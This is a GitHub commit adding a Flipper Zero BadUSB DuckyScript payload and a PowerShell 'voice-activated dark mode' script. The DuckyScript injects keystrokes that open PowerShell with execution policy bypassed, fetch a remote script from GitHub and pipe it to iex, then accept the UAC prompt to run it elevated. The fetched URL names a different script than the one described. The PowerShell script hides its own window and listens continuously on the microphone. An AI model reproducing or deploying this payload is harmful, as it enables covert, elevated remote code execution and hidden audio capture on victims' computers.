Add files via upload

This commit is contained in:
egieb
2024-07-01 16:18:08 +00:00
committed by GitHub
parent ac6235f402
commit fd60aa0b6a
2 changed files with 63 additions and 0 deletions

View File

@@ -0,0 +1,18 @@
REM Title: Voice-Activated-DarkMode
REM Author: @beigeworm | https://github.com/beigeworm
REM Description: Control Windows theme with your voice. Say 'Light' OR 'Dark' to change theme.
REM Target: Windows 10
REM *REQUIREMENTS*
REM admin required for disable USB function.
REM some setup for dukie script.
DEFAULT_DELAY 100
REM open powershell (remove -W Hidden to show the window).
GUI r
DELAY 750
STRING powershell -Exec Bypass -C irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/BadUSB-Detect-and-Protect/main.ps1 | iex
CTRL-SHIFT ENTER
DELAY 2500
ALT y

View File

@@ -0,0 +1,45 @@
<# ===================== VOICE ACTIVATED DARK/LIGHT MODE ======================
SYNOPSIS
Control Windows theme with your voice.
Say 'Light' OR 'Dark' to change theme.
#>
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
$hwnd = (Get-Process -PID $pid).MainWindowHandle
if($hwnd -ne [System.IntPtr]::Zero){
$Type::ShowWindowAsync($hwnd, 0)
}
else{
$Host.UI.RawUI.WindowTitle = 'hideme'
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
$hwnd = $Proc.MainWindowHandle
$Type::ShowWindowAsync($hwnd, 0)
}
while ($true) {
Add-Type -AssemblyName System.Speech
$speech = New-Object System.Speech.Recognition.SpeechRecognitionEngine
$grammar = New-Object System.Speech.Recognition.DictationGrammar
$speech.LoadGrammar($grammar)
$speech.SetInputToDefaultAudioDevice()
$result = $speech.Recognize()
$Theme = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize"
if ($result) {
$text = $result.Text
Write-Output $text
if ($text -match 'Dark'){
Write-Host "Set Dark Theme"
Set-ItemProperty $Theme AppsUseLightTheme -Value 0
Set-ItemProperty $Theme SystemUsesLightTheme -Value 0
}
if ($text -match 'Light'){
Set-ItemProperty $Theme AppsUseLightTheme -Value 1
Set-ItemProperty $Theme SystemUsesLightTheme -Value 1
Write-Host "Set Light Theme"
}
}
}